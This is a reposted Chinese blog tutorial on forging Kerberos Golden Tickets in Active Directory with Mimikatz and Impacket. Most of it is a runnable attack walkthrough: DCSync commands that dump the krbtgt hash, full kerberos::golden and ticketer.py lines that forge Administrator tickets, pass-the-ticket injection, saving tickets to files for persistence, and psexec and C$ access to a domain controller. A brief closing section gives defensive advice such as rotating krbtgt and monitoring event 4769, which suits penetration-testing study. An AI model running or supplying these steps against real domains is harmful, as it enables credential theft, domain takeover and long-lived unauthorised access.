手把手教你用Mimikatz制作Golden Ticket黄金票据(附实战截图与避坑点)
域渗透实战黄金票据生成与利用的深度解析引言在复杂的网络环境中安全专业人员需要掌握各种防御和攻击技术以评估系统脆弱性。黄金票据Golden Ticket作为一种高级持久化技术允许攻击者在Kerberos认证体系中伪造任意用户的TGTTicket Granting Ticket。本文将深入探讨如何在实际环境中生成和利用黄金票据特别关注使用Mimikatz工具的具体操作步骤和常见问题排查。不同于理论概述本文将从实战角度出发提供详细的命令行操作、参数解释以及执行前后的系统状态验证方法。我们假设读者已经具备基本的域环境知识并获得了必要的初始访问权限如krbtgt账户的NTLM哈希。文章将覆盖从信息收集到票据生成、注入内存再到实际利用的完整流程同时穿插关键注意事项和排错技巧。1. 环境准备与信息收集1.1 获取关键域信息生成黄金票据需要三个核心要素域SID、krbtgt账户的NTLM哈希和域名。让我们从最基础的信息收集开始获取域名echo %userdomain%或者使用更全面的命令systeminfo | findstr /B /C:Domain获取域SIDwhoami /all在输出中查找包含S-1-5-21的行这就是域的SID基础部分。完整的域SID通常格式为S-1-5-21-[三个随机数字]-[两个随机数字]-[一个随机数字]。获取krbtgt账户的NTLM哈希mimikatz # lsadump::dcsync /domain:yourdomain.com /user:krbtgt执行后会显示类似如下的关键信息* Primary NTLM : 558ae7f88589153355cbeb046ac696df注意执行dcsync需要足够的权限通常需要Domain Admins组成员的凭证。如果遇到权限不足的情况可能需要先进行权限提升。1.2 验证收集的信息在继续之前务必验证收集到的信息是否正确域名验证确认域名拼写无误特别是大小写Kerberos对大小写敏感使用nltest /dsgetdc:yourdomain.com验证域控制器可达性SID验证确保获取的是域SID而非用户SID使用wmic useraccount where namekrbtgt get sid交叉验证哈希验证krbtgt的NTLM哈希应为32位十六进制字符串使用mimikatz # kerberos::list检查当前票据状态2. 黄金票据生成技术详解2.1 Mimikatz生成黄金票据Mimikatz是最常用的黄金票据生成工具其kerberos::golden命令提供了丰富的参数选项mimikatz # kerberos::golden /user:Administrator /domain:yourdomain.com /sid:S-1-5-21-1695257952-3088263962-2055235443 /krbtgt:558ae7f88589153355cbeb046ac696df /ptt参数解析参数说明示例值/user要伪造的用户名Administrator/domain域名yourdomain.com/sid域SIDS-1-5-21-.../krbtgtkrbtgt账户的NTLM哈希32位十六进制字符串/ptt自动注入内存(Pass The Ticket)无值高级选项/groups: 指定用户组RID默认包含513,512,520,518,519/startoffset: 票据起始时间默认为当前时间/endin: 票据有效期默认为10年/renewmax: 最大续订时间2.2 替代工具Impacket的ticketer对于Python环境可以使用Impacket套件中的ticketerticketer.py -nthash 558ae7f88589153355cbeb046ac696df -domain-sid S-1-5-21-1695257952-3088263962-2055235443 -domain yourdomain.com Administrator生成后的票据可以通过以下命令注入export KRB5CCNAMEAdministrator.ccache提示Impacket工具生成的票据需要额外配置环境变量而Mimikatz的/ptt参数会自动完成注入。3. 票据验证与利用3.1 验证票据是否成功注入使用以下命令检查当前会话中的Kerberos票据klist预期输出应显示新生成的票据特别注意客户端名称应为伪造的用户名如Administrator服务器名称应为krbtgt/YOURDOMAIN.COMYOURDOMAIN.COM票据有效期通常为10年3.2 实际利用场景场景1访问域控共享dir \\dc01.yourdomain.com\c$场景2远程执行命令psexec.exe \\dc01.yourdomain.com cmd场景3DCSync攻击mimikatz # lsadump::dcsync /domain:yourdomain.com /user:krbtgt3.3 持久化技术黄金票据可以保存为文件供后续使用mimikatz # kerberos::golden /user:Administrator /domain:yourdomain.com /sid:S-1-5-21-... /krbtgt:558ae7f88589153355cbeb046ac696df /ticket:golden.kirbi后续注入mimikatz # kerberos::ptt golden.kirbi4. 排错与防御策略4.1 常见问题排查问题1票据生成但无法使用检查域名大小写是否一致确认系统时间与域控同步Kerberos对时间敏感使用nltest /dsgetdc:yourdomain.com验证域控可达性问题2dcsync失败确保使用的账户有足够权限检查网络连通性尝试不同的域控服务器问题3klist不显示票据确认Mimikatz以管理员权限运行检查是否有杀毒软件拦截尝试重新注入票据4.2 防御建议对于防御方可以考虑以下措施定期重置krbtgt密码微软建议至少每180天重置一次需要连续重置两次旧票据可能仍有效一段时间监控异常监视异常的Kerberos票据请求关注票据有效期异常长的会话实施LSA保护启用Windows Defender Credential Guard配置RunAsPPL注册表键值日志分析启用Kerberos服务日志监控4769事件Kerberos服务票据请求在实际测试环境中我发现黄金票据最有效的防御是krbtgt账户密码的定期轮换。曾经在一次红队演练中客户系统因为超过两年未更换krbtgt密码导致我们生成的票据拥有长达10年的有效期几乎获得了永久的域内访问权限。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2573362.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!